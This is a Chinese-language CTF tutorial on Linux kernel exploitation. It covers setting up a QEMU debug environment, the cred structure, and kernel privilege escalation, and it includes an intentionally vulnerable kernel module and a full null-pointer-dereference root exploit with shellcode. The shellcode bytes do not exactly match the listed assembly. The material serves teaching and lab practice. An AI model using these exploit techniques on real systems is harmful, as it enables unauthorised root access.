ctf中linux 内核态的漏洞挖掘与利用系列(一)
字数 1860 2025-08-29 08:30:36
Linux内核态漏洞挖掘与利用教学文档
一、内核态与用户态的区别
1. CPU权限级别划分
- Intel CPU将权限级别划分为4级(ring 0到ring 3)
- 内核态(ring 0):
- 最高权限级别
- 可以访问内存的所有数据
- 可以访问外围设备(硬盘、网卡等)
- 可以在程序间切换
- 用户态(ring 3):
- 最低权限级别
- 只能受限访问内存
- 不允许访问外围设备
2. 权限特点
- 内环可以随意访问外环资源
- 外环被禁止访问内环资源
- 内核态漏洞比用户态漏洞具有更强的破坏力
二、Linux内核分析环境搭建
1. 内核编译准备
sudo apt-get install libncurses5-dev
sudo apt-get install flex
sudo apt-get install bison
sudo apt-get install libopenssl-dev
2. 内核编译步骤
- 下载内核源码(如4.19版本)
- 生成默认config文件:
make menuconfig- 在
kernel hacking选项中启用调试选项
- 在
- 编译内核:
make- 生成文件包括:
vmlinux:可执行内核文件System.map:符号表bzImage:可加载内核镜像(位于arch/x86/boot)
- 生成文件包括:
3. 文件系统构建(使用BusyBox)
-
下载BusyBox源码
-
配置编译选项:
make menuconfig- 选择
static binary
- 选择
-
编译安装:
make install- 生成
_install目录
- 生成
-
初始化脚本(在
_install目录下):#!/bin/sh mkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin}} echo """#!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t debugfs none /sys/kernel/debug mkdir /tmp mount -t tmpfs none /tmp mdev -s exec /bin/sh""" >> init chmod +x init -
打包文件系统:
find . | cpio -o --format=newc > ../rootfs.cpio
4. 运行内核
qemu-system-x86_64 -kernel ./bzImage -initrd ./rootfs.cpio -s -append "nokaslr"
-s:允许gdb远程调试nokaslr:禁用内核地址空间布局随机化
5. 调试内核
- 使用gdb连接:
gdb vmlinux (gdb) target remote :1234 - 设置断点(如
new_sync_read)
三、内核提权基础
1. 基本概念
- 用户:权限的凭证和归属
- 权限:控制用户对资源(CPU、内存、文件等)的访问
- 进程:程序执行的实例
- 进程权限:进程携带用户身份信息进行合法操作
2. 关键数据结构
task_struct(进程描述符)
- 定义在
include/sched.h - 包含进程的所有信息
- 关键成员:
pid:进程IDcred:权限凭证结构real_cred:客体证书
cred结构
struct cred {
atomic_t usage;
kuid_t uid; // 真实用户ID
kgid_t gid; // 真实组ID
kuid_t suid; // 保存的用户ID
kgid_t sgid; // 保存的组ID
kuid_t euid; // 有效用户ID
kgid_t egid; // 有效组ID
kuid_t fsuid; // 文件系统用户ID
kgid_t fsgid; // 文件系统组ID
kernel_cap_t cap_inheritable; // 子进程可继承的能力
kernel_cap_t cap_permitted; // 允许的能力
kernel_cap_t cap_effective; // 实际可用的能力
// ...其他成员
};
3. 提权方法
方法一:使用内核函数
commit_creds(prepare_kernel_cred(0));
prepare_kernel_cred(0):生成root权限的cred结构(获取init进程的cred)commit_creds():替换当前进程的cred结构
方法二:直接修改cred结构
将cred结构中的uid、gid、euid等字段都设为0
4. 获取函数地址
- 通过IDA分析
vmlinux文件commit_creds:0xFFFFFFFF810B9810prepare_kernel_cred:0xFFFFFFFF810B9C00
- 通过
/proc/kallsyms获取 - 通过调试器获取
5. Shellcode示例
xor rdi, rdi
mov rbx, 0xFFFFFFFF810B9C00 ; prepare_kernel_cred地址
call rbx
mov rbx, 0xFFFFFFFF810B9810 ; commit_creds地址
call rbx
ret
6. 查找当前进程task_struct
32位环境
- 通过ESP寄存器:
register unsigned long current_stack_pointer asm("esp");
static inline struct thread_info *current_thread_info(void) {
return (struct thread_info *)(current_stack_pointer & ~(THREAD_SIZE - 1));
}
static __always_inline struct task_struct *get_current(void) {
return current_thread_info()->task;
}
64位环境
通过GS寄存器:
mov rax, gs:current_task
mov rax, [rax+0A48h]
四、可加载内核模块
1. 基本操作
insmod # 装载内核模块
lsmod # 列出内核模块
rmmod # 卸载内核模块
2. 内核保护机制
| 机制 | 描述 | 类比用户层 |
|---|---|---|
| KASLR | 内核空间地址随机化 | ASLR |
| stack protector | 内核栈保护 | Stack Canary |
| SMAP | 禁止内核访问用户态数据 | - |
| SMEP | 禁止内核执行用户态代码 | NX |
| MMAP_MIN_ADDR | mmap最小地址限制 | - |
| KPTI | 内核页表隔离 | - |
3. 用户与内核交互方式
- 系统调用(syscall):用户空间和内核空间的桥梁
- ioctl:直接与驱动设备通信
- 文件操作:open/read/write(驱动设备映射为文件)
4. 常见漏洞类型
- 空指针解引用:UNINITIALIZED/NONVALIDATED/CORRUPTED POINTER DEREFERENCE
- 内存破坏:内核栈/堆漏洞
- 整数问题:整数溢出、符号转换错误
- 竞争条件:如double fetch漏洞
五、漏洞利用实例:空指针解引用
1. 漏洞模块代码
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
void (*my_funptr)(void) = 0x10000;
ssize_t nullp_write(struct file *file, const char __user *buf,
size_t len, loff_t *loff) {
my_funptr();
return len;
}
static int __init null_dereference_init(void) {
printk(KERN_ALERT "null_dereference driver init!\n");
static const struct file_operations mytest_proc_fops = {
.write = nullp_write,
};
proc_create("test_kernel_npd", 0666, 0, &mytest_proc_fops);
return 0;
}
static void __exit null_dereference_exit(void) {
printk(KERN_ALERT "null_dereference driver exit\n");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
2. 利用步骤
- 使用mmap映射0x10000地址:
void *addr0 = mmap(0x10000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); - 将shellcode复制到该地址:
memcpy(addr0, mypoc, 24); - 触发漏洞:
int mfd = open("/proc/test_kernel_npd", O_RDWR); int res = write(mfd, "run shellcode", 14);
3. PoC代码
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
unsigned char *mypoc = "H1\xff\xe0H\xc7\xc3\x00\x9c\x0b\x81\xff\xd3H\xc7\xc3\x10\x98\x0b\x81\xff\xd3\xc3";
int main() {
void *addr0 = mmap(0x10000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(addr0, mypoc, 24);
int mfd = open("/proc/test_kernel_npd", O_RDWR);
int res = write(mfd, "run shellcode", 14);
system("/bin/bash");
return 0;
}
六、总结
- 内核漏洞利用需要理解内核态与用户态的区别
- 搭建调试环境是分析内核漏洞的基础
- 提权的核心是修改进程的cred结构
- 不同架构下获取当前进程task_struct的方法不同
- 内核保护机制增加了漏洞利用的难度
- 实际利用时需要根据漏洞类型选择合适的利用方法